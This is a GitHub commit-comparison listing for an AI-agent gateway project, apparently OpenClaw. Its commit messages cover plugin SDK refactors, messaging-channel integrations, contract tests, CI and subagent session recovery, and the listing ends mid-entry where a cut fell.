Compare commits

..

10547 Commits

Author SHA1 Message Date
Tak Hoffman
70265fcc7e CI: tighten bundled plugin boundary ratchet 2026-03-16 11:24:46 -05:00
Tak Hoffman
1f11ff2eab CI: add bundled plugin boundary ratchet 2026-03-16 10:33:01 -05:00
Ayaan Zaidi
64e412e57e fix(android): lazy-init node runtime after onboarding 2026-03-16 18:54:51 +05:30
Ayaan Zaidi
ac66d383e7 test: mock telegram native command reply pipeline 2026-03-16 18:54:50 +05:30
Ayaan Zaidi
e2b8ef369d test: update discord subagent hook mocks 2026-03-16 18:54:50 +05:30
Ayaan Zaidi
7178a0d3cb fix: normalize discord commands allowFrom auth 2026-03-16 18:54:50 +05:30
Val Alexander
0b055303f5 fix(local-storage): improve VITEST environment check for localStorage access 2026-03-16 08:21:44 -05:00
Radek Sienkiewicz
7deb543624 Browser: support non-Chrome existing-session profiles via userDataDir (#48170)
Merged via squash.

Prepared head SHA: e490035a24
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-16 14:21:22 +01:00
Ayaan Zaidi
3e360ec8cb fix(android): shrink chat image attachments 2026-03-16 18:47:09 +05:30
Ayaan Zaidi
a41be2585f fix(android): preserve chat message identity on refresh 2026-03-16 18:42:25 +05:30
Ayaan Zaidi
56e23a887f fix(android): reduce chat recomposition churn 2026-03-16 18:42:20 +05:30
Ayaan Zaidi
3009e689bc test: remove stale synology zod mock 2026-03-16 18:41:29 +05:30
Ayaan Zaidi
5f78057ffa fix: align telegram probe test mock 2026-03-16 18:35:03 +05:30
Ayaan Zaidi
1b31ede435 fix: bypass telegram runtime proxy during health checks 2026-03-16 18:27:05 +05:30
Gustavo Madeira Santana
55253e2a9d Plugins: avoid booting bundled providers for catalog hooks 2026-03-16 12:56:48 +00:00
Gustavo Madeira Santana
8ad8069854 Tests: fix green check typing regressions 2026-03-16 12:54:01 +00:00
Yauheni Shauchenka
80bef826f8 fix(slack): harden bolt import interop (#45953)
* fix(slack): harden bolt import interop

* fix(slack): simplify bolt interop resolver

* fix(slack): harden startup bolt interop

* fix(slack): place changelog entry at section end

---------

Co-authored-by: Ubuntu <ubuntu@vps-1c82b947.vps.ovh.net>
Co-authored-by: Altay <altay@uinaf.dev>
2026-03-16 15:49:24 +03:00
Gustavo Madeira Santana
7d4ccee717 Plugin SDK: update entrypoint metadata 2026-03-16 12:46:23 +00:00
Gustavo Madeira Santana
841025da66 Plugin SDK: add narrow setup subpaths 2026-03-16 12:46:04 +00:00
Gustavo Madeira Santana
77566a1448 Providers: scope compat resolution to owning plugins 2026-03-16 12:45:56 +00:00
Gustavo Madeira Santana
c186176ca3 Plugin SDK: keep root alias reflection lazy 2026-03-16 12:35:13 +00:00
Gustavo Madeira Santana
ad18866bcc Tests: align Docker cache checks with non-root images 2026-03-16 12:31:51 +00:00
Gustavo Madeira Santana
467dae53cf Secrets: honor caller env during runtime validation 2026-03-16 12:31:44 +00:00
Gustavo Madeira Santana
e5282e6bda Plugin SDK: update entrypoint metadata 2026-03-16 12:22:21 +00:00
Gustavo Madeira Santana
b7f99a57bf Plugins: decouple bundled web search discovery 2026-03-16 12:19:32 +00:00
Gustavo Madeira Santana
c08f2aa21a Providers: centralize setup defaults and helper boundaries 2026-03-16 12:06:32 +00:00
Gustavo Madeira Santana
9fc6c1929a Plugin SDK: split setup and sandbox subpaths 2026-03-16 12:06:32 +00:00
Ayaan Zaidi
e78b51baea test(telegram): cover shared parsing without registry 2026-03-16 17:25:27 +05:30
Ayaan Zaidi
55f6d2d1ad fix(channels): parse bundled targets without plugin registry 2026-03-16 17:25:27 +05:30
huntharo
092afc850d Bootstrap: report nested entry import misses 2026-03-16 07:54:12 -04:00
Gustavo Madeira Santana
4c8853122a Plugins: preserve lazy runtime provider resolution 2026-03-16 11:52:50 +00:00
Gustavo Madeira Santana
5e4851ae2b Tests: align media auth fixture with selection checks 2026-03-16 11:52:49 +00:00
Gustavo Madeira Santana
d6aa9b516e Cron: isolate active-model delivery tests 2026-03-16 11:52:49 +00:00
Ayaan Zaidi
ccba943738 test(gateway): restore agent request route mock 2026-03-16 17:17:03 +05:30
ImJarvis by LukeF
8b438a308b fix(telegram): keep silent error fallback replies quiet 2026-03-16 22:44:10 +11:00
郑耀宏
fba394c56b fix(ui): auto load Usage tab data on navigation 2026-03-16 06:28:49 -05:00
Myeongwon Choi
6a8f5bc12f feat(telegram): add configurable silent error replies (#19776)
Port and complete #19776 on top of the current Telegram extension layout.

Adds a default-off `channels.telegram.silentErrorReplies` setting. When enabled, Telegram bot replies marked as errors are delivered silently across the regular bot reply flow, native/slash command replies, and fallback sends.

Thanks @auspic7 

Co-authored-by: Myeongwon Choi <36367286+auspic7@users.noreply.github.com>
Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
2026-03-16 22:18:34 +11:00
Gustavo Madeira Santana
fdfa98cda8 Tests: isolate bundle surface fixtures 2026-03-16 11:03:17 +00:00
Gustavo Madeira Santana
d61c08efbb Tests: scope Codex bundle loader fixture 2026-03-16 10:48:42 +00:00
Gustavo Madeira Santana
6e65066616 Media: avoid slow auth misses in auto-detect 2026-03-16 10:45:56 +00:00
Gustavo Madeira Santana
8cd1bdd345 Status: stabilize startup memory probes 2026-03-16 10:27:44 +00:00
Gustavo Madeira Santana
1cf544ffbc Channels: fix surface contract plugin lookup 2026-03-16 10:07:55 +00:00
Gustavo Madeira Santana
296083a49a Plugin SDK: consolidate shared channel exports 2026-03-16 10:05:40 +00:00
Gustavo Madeira Santana
92700940d9 Plugin SDK: restore scoped imports for bundled channels 2026-03-16 09:51:36 +00:00
Vincent Koc
e1f759f4f1 BlueBubbles: lazy-load channel runtime paths 2026-03-16 02:35:43 -07:00
Vincent Koc
5336c4e945 CI: add changed extension test lane 2026-03-16 02:29:46 -07:00
Vincent Koc
303f690dd9 Docs: add extension test workflow 2026-03-16 02:29:46 -07:00
Vincent Koc
2ee20a6072 Tests: cover changed extension detection 2026-03-16 02:29:46 -07:00
Vincent Koc
d68645d47f Tests: detect changed extensions 2026-03-16 02:29:46 -07:00
Vincent Koc
898d6840dc Runtime: lazy-load Telegram and Slack channel ops 2026-03-16 02:21:57 -07:00
Vincent Koc
1447e2e384 Release: trim generated docs from npm pack 2026-03-16 02:10:04 -07:00
Vincent Koc
3832f938fd Docs: use placeholders for marketplace plugin examples 2026-03-16 02:09:20 -07:00
Vincent Koc
abb21d9163 Runtime: lazy-load Discord channel ops 2026-03-16 02:07:13 -07:00
Vincent Koc
d572188f61 Tests: add extension test runner 2026-03-16 02:06:21 -07:00
Vincent Koc
65f05d7c09 Tests: harden WhatsApp inbound contract cleanup 2026-03-16 02:06:21 -07:00
Vincent Koc
a8970963cd Tests: add contract runner 2026-03-16 02:06:21 -07:00
Vincent Koc
70aa9204c0 Channels: centralize inbound context contracts 2026-03-16 02:06:21 -07:00
Vincent Koc
79a8905fa4 Channels: centralize group policy contracts 2026-03-16 02:06:21 -07:00
Vincent Koc
4aae0d4c9d Channels: centralize outbound payload contracts 2026-03-16 02:06:21 -07:00
Vincent Koc
429144d9f1 Channels: add contract surface coverage 2026-03-16 02:06:21 -07:00
Vincent Koc
5cd206f780 Channels: expand contract suites 2026-03-16 02:06:21 -07:00
Vincent Koc
d896d8e0cd Docs: add Claude marketplace plugin install guidance 2026-03-16 02:04:05 -07:00
Nimrod Gutman
2a85fa7db1 fix(macos): restore debug build helpers (#48046) 2026-03-16 10:57:08 +02:00
Peter Steinberger
6f5369c7e8 fix: split browser-safe thinking helpers 2026-03-16 08:51:31 +00:00
Peter Steinberger
43c156e43b docs: reorder unreleased changelog entries 2026-03-16 08:50:58 +00:00
Vincent Koc
c9423dce1e Docs: refresh generated config baseline 2026-03-16 01:49:41 -07:00
Vincent Koc
c06101b8ad Infra: restore check after gaxios compat 2026-03-16 01:49:41 -07:00
Vincent Koc
30c31d4efd UI: keep thinking helpers browser-safe 2026-03-16 01:49:41 -07:00
Vincent Koc
ff2e864c98 Plugins: add Claude marketplace registry installs (#48058)
* Changelog: note Claude marketplace plugin support

* Plugins: add Claude marketplace installs

* E2E: cover marketplace plugin installs in Docker
2026-03-16 01:46:07 -07:00
Vincent Koc
9ee0fb52e9 Gateway: cover lazy channel runtime resolution 2026-03-16 01:43:47 -07:00
Vincent Koc
776e5d8a08 Gateway: lazily resolve channel runtime 2026-03-16 01:43:47 -07:00
Peter Steinberger
77b1f240fd fix: retry runtime postbuild skill copy races 2026-03-16 08:42:50 +00:00
Peter Steinberger
09e8d1e96f docs: add frontmatter to parallels discord skill 2026-03-16 08:42:50 +00:00
Peter Steinberger
f49fc633ac fix: restore effective setup wizard lazy import 2026-03-16 08:36:43 +00:00
Peter Steinberger
4c8678c0b4 refactor: add private channel sdk bridges 2026-03-16 01:34:35 -07:00
Peter Steinberger
7e74adef91 refactor: shrink public channel plugin sdk surfaces 2026-03-16 01:34:22 -07:00
Peter Steinberger
94a01c9789 fix: keep gaxios compat off the package root (#47914) (thanks @pdd-cli) 2026-03-16 08:22:39 +00:00
Prompt Driven
1aabce78e7 fix(infra): also wire gaxios-fetch-compat shim into src/index.ts (gateway entry) 2026-03-16 01:22:08 -07:00
Prompt Driven
e575f419a5 fix(infra): wire gaxios-fetch-compat shim to prevent node-fetch crash on Node.js 25 2026-03-16 01:22:08 -07:00
Peter Steinberger
7cc5789202 refactor(plugins): finish provider auth boundary cleanup 2026-03-16 01:20:56 -07:00
Peter Steinberger
a73d6620b3 refactor: route remaining channel imports through plugin sdk 2026-03-16 01:17:13 -07:00
Peter Steinberger
f11589b311 refactor: tighten plugin sdk channel seams 2026-03-16 01:05:51 -07:00
Vincent Koc
7a09255361 Runtime: lazy-load channel runtime singletons 2026-03-16 01:02:19 -07:00
Peter Steinberger
7c2863d401 fix: harden bonjour retry recovery 2026-03-16 07:59:15 +00:00
Vincent Koc
83ddb0fb4c Plugins: restore routing seams and discovery fixtures 2026-03-16 00:56:40 -07:00
Vincent Koc
ced20e7997 Plugins: add auth choice contracts 2026-03-16 00:55:03 -07:00
Peter Steinberger
3a2c24e598 refactor: route shared channel sdk imports through plugin seams 2026-03-16 00:48:53 -07:00
Peter Steinberger
0ed64f124d fix: mount CLI auth dirs in docker live tests 2026-03-16 07:44:15 +00:00
Vincent Koc
78f24dcaa2 Tests: type auth contract prompt mocks 2026-03-16 00:41:55 -07:00
Vincent Koc
4f8c066680 Plugins: cover catalog discovery providers 2026-03-16 00:41:37 -07:00
Peter Steinberger
8fe08df2eb refactor(plugins): derive compat provider ids from manifests 2026-03-16 00:41:05 -07:00
Peter Steinberger
74d0c39b32 refactor: move session lifecycle and outbound fallbacks into plugins 2026-03-16 00:40:43 -07:00
Peter Steinberger
49251def61 docs: codify macOS parallels discord smoke 2026-03-16 00:38:20 -07:00
Vincent Koc
67b886b725 Plugins: extend provider discovery contracts 2026-03-16 00:35:16 -07:00
Peter Steinberger
045a879acf fix: stop bonjour before re-advertising 2026-03-16 07:32:34 +00:00
Vincent Koc
a6eda07316 Plugins: add provider discovery contracts 2026-03-16 00:29:46 -07:00
Vincent Koc
209f1a08d7 Plugins: dedupe routing imports in channel adapters 2026-03-16 00:29:02 -07:00
Vincent Koc
bbf3b4acf2 Plugins: add provider auth contracts 2026-03-16 00:25:51 -07:00
Peter Steinberger
b3025e6d8e refactor(plugin-sdk): clean shared core imports 2026-03-16 00:25:32 -07:00
Peter Steinberger
7964563299 refactor: finish plugin-owned channel runtime seams 2026-03-16 00:25:19 -07:00
Peter Steinberger
e90c1d9add fix: unblock docs and registry checks 2026-03-16 07:23:43 +00:00
Vincent Koc
320b4bcb07 Plugins: add provider wizard contracts 2026-03-16 00:22:11 -07:00
Peter Steinberger
cec10703dc fix: unblock ci gates 2026-03-16 07:19:54 +00:00
Peter Steinberger
99c501a9a7 refactor(plugin-sdk): use scoped core imports for bundled channels 2026-03-16 00:19:31 -07:00
Vincent Koc
3c62ab5c89 Plugins: narrow provider runtime contracts 2026-03-16 00:18:10 -07:00
Vincent Koc
79a67a5e08 Plugins: add provider catalog contracts 2026-03-16 00:18:00 -07:00
Vincent Koc
95b761a2e1 Firecrawl: drop local registration contract test 2026-03-16 00:15:33 -07:00
Vincent Koc
947b548870 Plugins: cover Firecrawl tool ownership 2026-03-16 00:15:33 -07:00
Vincent Koc
6644783052 Plugins: capture tool registrations in test registry 2026-03-16 00:15:33 -07:00
Peter Steinberger
36f0f216ce fix: accept sandbox plugin id hints 2026-03-16 00:14:57 -07:00
Peter Steinberger
e3ab0e174c style(core): normalize rebase fallout 2026-03-16 00:12:43 -07:00
Peter Steinberger
0ca1b18517 fix(core): restore outbound fallbacks and gate checks 2026-03-16 00:12:43 -07:00
Vincent Koc
e7eb410dd1 Qwen Portal: move runtime tests to provider contracts 2026-03-16 00:11:06 -07:00
Vincent Koc
7dab66c89e OpenAI: move runtime tests to provider contracts 2026-03-16 00:11:05 -07:00
Vincent Koc
182a00cc49 Google: move runtime tests to provider contracts 2026-03-16 00:11:05 -07:00
Vincent Koc
62de7e02ea Anthropic: move runtime tests to provider contracts 2026-03-16 00:11:05 -07:00
Vincent Koc
25535b571a Z.ai: move runtime tests to provider contracts 2026-03-16 00:11:05 -07:00
Vincent Koc
a9a9cf4257 GitHub Copilot: move runtime tests to provider contracts 2026-03-16 00:11:05 -07:00
Vincent Koc
3fe3a53dd9 Plugins: add provider runtime contracts 2026-03-16 00:11:05 -07:00
Peter Steinberger
85b7bc7edf refactor: remove dock shim and move session routing into plugins 2026-03-16 00:09:38 -07:00
Vincent Koc
5ca26bcae0 Tests: add plugin loader contract suite 2026-03-16 00:05:23 -07:00
Vincent Koc
c59e2dde47 Tests: tighten provider wizard contracts 2026-03-16 00:05:23 -07:00
Peter Steinberger
00ef214d59 docs: regenerate zh-CN onboarding references 2026-03-16 07:03:19 +00:00
Peter Steinberger
edab939f4d fix: make docs i18n use gpt-5.4 overrides 2026-03-16 07:03:19 +00:00
Tak Hoffman
3c6a49b27e feishu: harden media support and align capability docs (#47968)
* feishu: harden media support and action surface

* feishu: format media action changes

* feishu: fix review follow-ups

* fix: scope Feishu target aliases to Feishu (#47968) (thanks @Takhoffman)
2026-03-16 02:02:48 -05:00
Vincent Koc
476d948732 !refactor(browser): remove Chrome extension path and add MCP doctor migration (#47893)
* Browser: replace extension path with Chrome MCP

* Browser: clarify relay stub and doctor checks

* Docs: mark browser MCP migration as breaking

* Browser: reject unsupported profile drivers

* Browser: accept clawd alias on profile create

* Doctor: narrow legacy browser driver migration
2026-03-15 23:56:08 -07:00
Vincent Koc
10cd276641 Tests: relax provider auth hint contract 2026-03-15 23:55:10 -07:00
Vincent Koc
d7ab1a6c7c Tests: add provider registry contract suite 2026-03-15 23:55:10 -07:00
Peter Steinberger
a8367bb0ec fix: stabilize ci gate 2026-03-16 06:51:18 +00:00
Vincent Koc
9b73673313 Tests: add global web search contract suite 2026-03-15 23:50:48 -07:00
Vincent Koc
0f502726e1 Tests: add global provider contract suite 2026-03-15 23:50:48 -07:00
Vincent Koc
a8878be0fd Tests: add provider contract registry 2026-03-15 23:50:48 -07:00
Vincent Koc
d410debd01 Tests: add provider contract suites 2026-03-15 23:50:48 -07:00
ObitaBot
5ece9afa8b fix: scope localStorage settings key by basePath to prevent cross-deployment conflicts
- Add settingsKeyForGateway() function similar to tokenSessionKeyForGateway()
- Use scoped key format: openclaw.control.settings.v1:https://example.com/gateway-a
- Add migration from legacy static key on load
- Fixes #47481
2026-03-15 23:50:00 -07:00
Peter Steinberger
7cdd8a84a6 refactor: add plugin-owned outbound adapters 2026-03-15 23:47:43 -07:00
Peter Steinberger
2054cb9431 refactor: move remaining channel seams into plugins 2026-03-15 23:47:30 -07:00
Peter Steinberger
ae60094fb5 refactor(plugins): move onboarding auth metadata to manifests 2026-03-15 23:47:16 -07:00
Vincent Koc
f5ef936615 Tests: replace local channel contracts 2026-03-15 23:46:45 -07:00
Vincent Koc
9df7e8bec4 Tests: add global status contract suite 2026-03-15 23:46:45 -07:00
Vincent Koc
acf7e83ac4 Tests: add global setup contract suite 2026-03-15 23:46:45 -07:00
Vincent Koc
c5d61b9677 Tests: add global actions contract suite 2026-03-15 23:46:45 -07:00
Vincent Koc
910d039ea7 Tests: add global plugin contract suite 2026-03-15 23:46:45 -07:00
Vincent Koc
6043e733a6 Tests: add plugin contract registry 2026-03-15 23:46:45 -07:00
Vincent Koc
3105a1284a Tests: add plugin contract suites 2026-03-15 23:46:45 -07:00
Peter Steinberger
fb47777d38 fix: address bot nit on session route preservation (#47797) (thanks @brokemac79) 2026-03-15 23:37:59 -07:00
brokemac79
623ba14031 fix(session): preserve external channel route when webchat views session (#47745)
When a Telegram/WhatsApp/iMessage session was viewed or messaged from the
dashboard/webchat, resolveLastChannelRaw() unconditionally returned 'webchat'
for any isDirectSessionKey() or isMainSessionKey() match, overwriting the
persisted external delivery route.

This caused subagent completion events to be delivered to the webchat/dashboard
instead of the original channel (Telegram, WhatsApp, etc.), silently dropping
messages for the channel user.

Fix: only allow webchat to own routing when no external delivery route has been
established (no persisted external lastChannel, no external channel hint in the
session key). If an external route exists, webchat is treated as admin/monitoring
access and must not mutate the delivery route.

Updated/added tests to document the correct behaviour.

Fixes #47745
2026-03-15 23:37:59 -07:00
Vincent Koc
3838ef9b2a Tests: add Discord channel contract suite 2026-03-15 23:32:13 -07:00
Vincent Koc
4fc3492da5 Tests: add Telegram channel contract suite 2026-03-15 23:32:13 -07:00
Vincent Koc
13090da3ac Tests: add Mattermost channel contract suite 2026-03-15 23:32:13 -07:00
Vincent Koc
4ae80407a6 Tests: add Slack channel contract suite 2026-03-15 23:32:13 -07:00
Vincent Koc
c01515672f Tests: add channel plugin contract helper 2026-03-15 23:32:13 -07:00
Vincent Koc
bd67f33364 Tests: add channel actions contract helper 2026-03-15 23:32:13 -07:00
Vincent Koc
c7137270d1 Security: split audit runtime surfaces 2026-03-15 23:30:34 -07:00
Peter Steinberger
d163278e9c refactor: move channel delivery and ACP seams into plugins 2026-03-15 23:25:20 -07:00
Vincent Koc
d5b12f505c Status: lazy-load security audit commands 2026-03-15 23:24:25 -07:00
Vincent Koc
a608d09552 Status: lazy-load summary session helpers 2026-03-15 23:24:25 -07:00
Peter Steinberger
4ab016a9bd fix: preserve loopback gateway scopes for local auth 2026-03-16 06:22:15 +00:00
Peter Steinberger
130b575c21 fix: recover bonjour advertiser from ciao announce loops 2026-03-16 06:21:46 +00:00
Vincent Koc
7b2a7da549 Gateway: import normalizeAgentId in hooks 2026-03-15 23:20:11 -07:00
Vincent Koc
853d8c0d8e Tests: cover plugin capability matrix 2026-03-15 23:17:58 -07:00
Vincent Koc
81d3c6c909 Tests: fix Feishu full registration mock 2026-03-15 23:13:45 -07:00
Vincent Koc
ed82c7e57b Status: lazy-load tailscale and memory scan deps 2026-03-15 23:12:27 -07:00
Peter Steinberger
f0f934556e build: remove land gate script 2026-03-16 06:08:41 +00:00
Tak Hoffman
fa62231afc feishu: add structured card actions and interactive approval flows (#47873)
* feishu: add structured card actions and interactive approval flows

* feishu: address review fixes and test-gate regressions

* feishu: hold inflight card dedup until completion

* feishu: restore fire-and-forget bot menu handling

* feishu: format card interaction helpers

* Feishu: add changelog entry for card interactions

* Feishu: add changelog entry for ACP session binding
2026-03-16 01:07:09 -05:00
Peter Steinberger
aa97368f7d test: add openshell sandbox e2e smoke 2026-03-15 23:02:36 -07:00
Peter Steinberger
ddd34b6cc3 refactor(plugins): simplify provider auth choice metadata 2026-03-15 23:01:12 -07:00
Vincent Koc
c4b18ab3c9 Status: split lightweight gateway agent list 2026-03-15 22:55:27 -07:00
Vincent Koc
d47fc009de Config: keep native command defaults off heavy channel registry 2026-03-15 22:55:27 -07:00
Vincent Koc
5f42389d8d Security: lazy-load audit config snapshot IO 2026-03-15 22:55:26 -07:00
Vincent Koc
a2119efe1c Security: lazy-load deep skill audit helpers 2026-03-15 22:55:26 -07:00
Vincent Koc
4cb46f223c Security: trim audit policy import surfaces 2026-03-15 22:55:26 -07:00
Vincent Koc
ebfd32efc3 Status: split heartbeat summary helpers 2026-03-15 22:55:26 -07:00
Peter Steinberger
0a6f22a694 docs: sync config baseline 2026-03-16 05:54:58 +00:00
Peter Steinberger
465567b1eb test: fix setup wizard smoke mocks 2026-03-16 05:54:58 +00:00
Peter Steinberger
2852eab323 build: add land gate parity script 2026-03-16 05:54:16 +00:00
Peter Steinberger
ecaafb6a4f refactor: unify telegram interactive button resolution 2026-03-16 05:54:16 +00:00
Peter Steinberger
ff558862f0 refactor: extract discord shared interactive mapper 2026-03-16 05:54:16 +00:00
Peter Steinberger
7bea559166 refactor: unify reply content checks 2026-03-16 05:54:16 +00:00
Peter Steinberger
3963408871 refactor: split plugin interactive dispatch adapters 2026-03-16 05:53:35 +00:00
Peter Steinberger
9cd9c7a488 refactor: split slack block action handling 2026-03-16 05:53:35 +00:00
Peter Steinberger
2580b81bd2 refactor: move channel capability diagnostics into plugins 2026-03-15 22:53:03 -07:00
Peter Steinberger
f9e185887f docs: restore onboard docs references 2026-03-16 05:50:57 +00:00
Peter Steinberger
2acbea0da7 docs: restore onboard as canonical setup command 2026-03-16 05:50:57 +00:00
Peter Steinberger
55cbfb6e6a refactor(plugins): move provider onboarding auth into plugins 2026-03-15 22:43:10 -07:00
Peter Steinberger
0b58a1cc13 fix: stabilize windows parallels smoke harness 2026-03-15 22:41:35 -07:00
Peter Steinberger
ad97c581e2 refactor: move channel messaging hooks into plugins 2026-03-15 22:39:00 -07:00
Peter Steinberger
680eff63fb fix: land SIGUSR1 orphan recovery regressions (#47719) (thanks @joeykrug) 2026-03-15 22:32:36 -07:00
bot_apk
98f6ec50aa fix: address 6 review comments on PR #47719
1. [P1] Treat remap failures as resume failures — if replaceSubagentRunAfterSteer
   returns false, do NOT clear abortedLastRun, increment failed count.

2. [P2] Count scan-level exceptions as retryable failures — set result.failed > 0
   in the outer catch block so scheduleOrphanRecovery retry logic triggers.

3. [P2] Persist resumed-session dedupe across recovery retries — accept
   resumedSessionKeys as a parameter; scheduleOrphanRecovery lifts the Set to
   its own scope and passes it through retries.

4. [Greptile] Use typed config accessors instead of raw structural cast for TLS
   check in lifecycle.ts.

5. [Greptile] Forward gateway.reload.deferralTimeoutMs to deferGatewayRestartUntilIdle
   in scheduleGatewaySigusr1Restart so user-configured value is not silently ignored.

6. [Greptile] Same as #4 — already addressed by the typed config fix.

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-03-15 22:32:36 -07:00
Joey Krug
c780b6a6ab fix: address all review comments on PR #47719 + implement resume context and config idempotency guard 2026-03-15 22:32:36 -07:00
Joey Krug
44304ba24a fix: add retry with exponential backoff for orphan recovery
Addresses Codex review feedback — if recovery fails (e.g. gateway
still booting), retries up to 3 times with exponential backoff
(5s → 10s → 20s) before giving up.
2026-03-15 22:32:36 -07:00
Joey Krug
0311ff05d7 fix: address Greptile review feedback
- Remove unrelated pnpm-lock.yaml changes
- Move abortedLastRun flag clearing to AFTER successful resume
  (prevents permanent session loss on transient gateway failures)
- Use dynamic import for orphan recovery module to avoid startup
  memory overhead
- Add test assertion that flag is preserved on resume failure
2026-03-15 22:32:36 -07:00
Joey Krug
304703f165 fix: resume orphaned subagent sessions after SIGUSR1 reload
Closes #47711

After a SIGUSR1 gateway reload aborts in-flight subagent LLM calls, the gateway now scans for orphaned sessions and sends a synthetic resume message to restart their work. Also makes the deferral timeout configurable via gateway.reload.deferralTimeoutMs (default: 5 minutes, up from 90s).
2026-03-15 22:32:36 -07:00
Peter Steinberger
e627a5069f refactor(plugins): move auth profile hooks into providers 2026-03-15 22:23:55 -07:00
Peter Steinberger
abe7ea4373 fix: accept schtasks Last Result key on Windows (#47844) (thanks @MoerAI) 2026-03-15 22:20:34 -07:00
MoerAI
3e8bc9f16a fix(daemon): accept 'Last Result' schtasks key variant on Windows (#47726)
Some Windows locales/versions emit 'Last Result' instead of 'Last Run Result' in schtasks output, causing gateway status to falsely report 'Runtime: unknown'. Fall back to the shorter key when the canonical key is absent.
2026-03-15 22:20:34 -07:00
Peter Steinberger
69c12c2b11 fix(plugins): resolve lazy runtime from package root 2026-03-16 05:12:30 +00:00
Peter Steinberger
d937b61fb3 fix: follow up shared interactive regressions (#47715) 2026-03-16 05:03:46 +00:00
Peter Steinberger
823039c000 docs: prefer setup wizard command 2026-03-15 22:01:04 -07:00
Peter Steinberger
f6f0045e0f test: move setup surface coverage 2026-03-15 22:01:04 -07:00
Peter Steinberger
5c120cb36c refactor: make setup the primary wizard surface 2026-03-15 22:01:04 -07:00
Vincent Koc
98877dc413 Slack: fail oversized merged block payloads 2026-03-15 21:55:45 -07:00
Vincent Koc
0277aa0159 Slack: fix review regressions 2026-03-15 21:55:45 -07:00
Vincent Koc
c7d31bae8a Channels: centralize shared interactive rendering 2026-03-15 21:55:45 -07:00
Vincent Koc
92bea9704e Channels: add message action capabilities 2026-03-15 21:55:45 -07:00
Vincent Koc
69a85325c3 Matrix: guard optional outbound handlers 2026-03-15 21:55:45 -07:00
Vincent Koc
e77aa26af6 Slack: test shared interactive renderer 2026-03-15 21:55:45 -07:00
Vincent Koc
6ed8ad1844 Discord: test shared interactive renderer 2026-03-15 21:55:45 -07:00
Vincent Koc
833a19f756 Plugins: update Slack interactive tests 2026-03-15 21:55:45 -07:00
Vincent Koc
d607d2e6d4 Plugins: register Slack interactive handlers correctly 2026-03-15 21:55:45 -07:00
Vincent Koc
52c90524c9 Slack: update shared interactive interaction tests 2026-03-15 21:55:45 -07:00
Vincent Koc
eb51ba5c1d Slack: fix shared interactive registration context 2026-03-15 21:55:45 -07:00
Vincent Koc
c66b994965 Cron: treat shared interactive payloads as deliverable 2026-03-15 21:55:45 -07:00
Vincent Koc
3a08f70151 Outbound: test shared interactive telegram delivery 2026-03-15 21:55:45 -07:00
Vincent Koc
0feb939cb3 Outbound: deliver shared interactive payloads 2026-03-15 21:55:45 -07:00
Vincent Koc
8f41001edf Reply: update shared interactive normalize tests 2026-03-15 21:55:45 -07:00
Vincent Koc
576ea84195 Reply: update shared interactive flow tests 2026-03-15 21:55:45 -07:00
Vincent Koc
14b7187c33 Reply: route shared interactive payloads outbound 2026-03-15 21:55:45 -07:00
Vincent Koc
38f61564ac Reply: keep shared interactive payloads during normalization 2026-03-15 21:55:45 -07:00
Vincent Koc
2d048980af Slack: map shared interactive sends in SDK actions 2026-03-15 21:55:45 -07:00
Vincent Koc
bdc91130fe Discord: map shared interactive sends in actions 2026-03-15 21:55:45 -07:00
Vincent Koc
474368d746 CLI: add shared interactive send flag 2026-03-15 21:55:45 -07:00
Vincent Koc
2eb2b0995d Outbound: accept shared interactive sends 2026-03-15 21:55:45 -07:00
Vincent Koc
04081d349e Outbound: parse shared interactive params 2026-03-15 21:55:45 -07:00
Vincent Koc
c1846000dd Message Tool: add shared interactive schema 2026-03-15 21:55:45 -07:00
Vincent Koc
f6d8a1129d Slack: advertise shared interactive support 2026-03-15 21:55:45 -07:00
Vincent Koc
59bcc9ee46 Discord: advertise shared interactive support 2026-03-15 21:55:45 -07:00
Vincent Koc
d5a7880de2 Telegram: advertise shared interactive support 2026-03-15 21:55:45 -07:00
Vincent Koc
1e54a4a6a3 Channels: test shared interactive support checks 2026-03-15 21:55:45 -07:00
Vincent Koc
8b6806ab5c Channels: expose shared interactive support checks 2026-03-15 21:55:45 -07:00
Vincent Koc
298832d170 Channels: add interactive message capability 2026-03-15 21:55:45 -07:00
Vincent Koc
6fd11f5496 Slack: add shared interactive renderer 2026-03-15 21:55:45 -07:00
Vincent Koc
f889219955 Discord: render shared interactive payloads outbound 2026-03-15 21:55:45 -07:00
Vincent Koc
59d355bc48 Discord: add shared interactive renderer 2026-03-15 21:55:45 -07:00
Vincent Koc
f327408fad Telegram: render shared interactive payloads outbound 2026-03-15 21:55:45 -07:00
Vincent Koc
e50545d767 Telegram: add shared interactive renderer 2026-03-15 21:55:45 -07:00
Vincent Koc
b1243bf15b Slack: render shared interactive payloads outbound 2026-03-15 21:55:45 -07:00
Vincent Koc
82f587fc82 Reply: compile Slack directives into shared interactions 2026-03-15 21:55:45 -07:00
Vincent Koc
5e093639d7 Plugins: centralize binding approval interactions 2026-03-15 21:55:45 -07:00
Vincent Koc
f3f0bdcb07 Outbound: preserve shared interactive payloads 2026-03-15 21:55:45 -07:00
Vincent Koc
7018412102 Reply: keep interactive payloads renderable 2026-03-15 21:55:45 -07:00
Vincent Koc
12f4dd9a05 Reply: expose shared interactive payloads 2026-03-15 21:55:45 -07:00
Vincent Koc
df2a6b1672 Interactive: add shared payload model 2026-03-15 21:55:45 -07:00
Vincent Koc
082383b40d Tests: cover Slack block-action shared dispatch 2026-03-15 21:55:45 -07:00
Vincent Koc
cc6f03ec6c Slack: route block actions through shared dispatcher 2026-03-15 21:55:45 -07:00
Vincent Koc
553cbccd40 Tests: cover Slack shared interactive dispatcher 2026-03-15 21:55:45 -07:00
Vincent Koc
f70d2624dc Plugins: add Slack shared interactive dispatcher 2026-03-15 21:55:45 -07:00
Vincent Koc
1c2a609d03 Plugins: add Slack interactive handler types 2026-03-15 21:55:45 -07:00
Vincent Koc
28de97356d Plugin SDK: export Slack interactive handler context 2026-03-15 21:55:45 -07:00
Peter Steinberger
a69f6190ab fix(gateway): pin plugin webhook route registry (#47902) 2026-03-15 21:53:05 -07:00
Peter Steinberger
99a4594bde fix(plugins): resolve rebase fallout in auth hooks 2026-03-15 21:52:29 -07:00
Peter Steinberger
0c2ae71366 fix(outbound): preserve channel registry during provider snapshots 2026-03-15 21:52:29 -07:00
Peter Steinberger
